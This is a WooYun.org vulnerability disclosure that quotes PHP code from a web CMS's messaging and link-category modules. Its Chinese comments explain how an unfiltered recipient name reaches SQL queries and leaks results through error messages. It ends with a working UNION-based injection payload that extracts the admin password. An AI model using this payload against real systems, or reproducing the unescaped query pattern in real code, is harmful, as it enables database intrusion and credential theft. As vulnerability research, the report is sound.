WooYun.org

if($form->status == TFORM_STATUS_GETED_VALID){


//这个是站内短信的写信息表单 的 处理


      $arr = $form->getValues();


//直接获取表单中信息


      $tos = explode(',',trim($arr['to']));


//只是分割，不是过滤


      $noExistsMenber = array();


      $toMenbers = array();


      foreach ($tos as $menber){


        $i =


        $this->DBE->getOne("select `id` from #__user where `name`='$menber'");


//一直到上面这一句都没有过滤，直接带入数据库查询了，之所以会这么写可能的原因是开发人员误以为`name`='$menber'的引号可以起到保护作用（其他的int变量都通过了inval，而这个是string啊喵，我可以输入单引号啊喵）


        if(is_null($i) or empty($i)){


          $noExistsMenber[] = $menber;


//id只要有返回就可以继续


        }else{


          $m['name'] = $menber;


          $m['id']  = $i;


          $toMenbers[] = $m;


        }


      }


      if(!empty($noExistsMenber)){


        addGlobalNotice("以下用户不存在：".implode(',',$noExistsMenber));


      }else{


        $msg['tos'] = $arr['to'];


        $msg['subject'] = $arr['subject'];


        $msg['content'] = $arr['content'];


//进入信息发送的模块了，实际上之前就已经引发注射了，但是攻击时需要读sendMessage代码


        $mMessage->sendMessage($toMenbers,$msg);


        $this->flash('成功','发送成功',bu(1,'messages','inbox'));


      }

if($form->status == TFORM_STATUS_GETED_VALID){


			$newCat = $form->getValues();


			if($id==0){


				//create category


				//check name


				$name = $newCat['name'];


				$nameUsed = $this->DBE->getOne("select count(*) from #__link_category where `name`='$name'");


				if($nameUsed){


					$form->status = TFORM_STATUS_GETED;

$tos = explode(',',trim($arr['to']));

function sendMessage($to,$message,$type=null,$newCall=1){


//刚才检测完用户是否存在后，调用这个函数


    if(isset($to['name']) or is_string($to)){


      if(is_string($to)){


        $to['name'] = $to;


      }


      if(!isset($to['id'])){


//还记得id吗，是之前被注射SQL的返回，理论上正常应该是目标用户的id


        $to['id'] = $this->_db->getOne("select `id` from #__user where `name`='$to[name]'");


      }


//又SELECT一遍，不过name还是注射时的name，这一句也被注射了


      global $gUser;


      $message['to'] = $to['name'];


      $message['to_id'] = $to['id'];


      $message['from'] = $gUser->name;


      $message['from_id'] = $gUser->id;


      $message['create_time'] = TIME_STAMP;


      $message['type'] = $type;


      $this->insert($message);


//看到下一句，终于长舒一口气，注射可以有回显了！to_id就是我们的语句执行结果，而它会报错给我们看的！


      $this->_db->execute("update #__user set `new_msg_count`=`new_msg_count`+1 where `id`=$message[to_id]");


      if($newCall>0){


        $message['to'] = '';


        $message['to_id'] = 0;


        $this->insert($message);


        $newCall--;


      }


    }else if(is_array($to)){


      foreach ($to as $sto){


        $this->sendMessage($sto,$message,null,$newCall);


      }


    }


  }

test' and 1=2 union select password from flexi_user where id=1#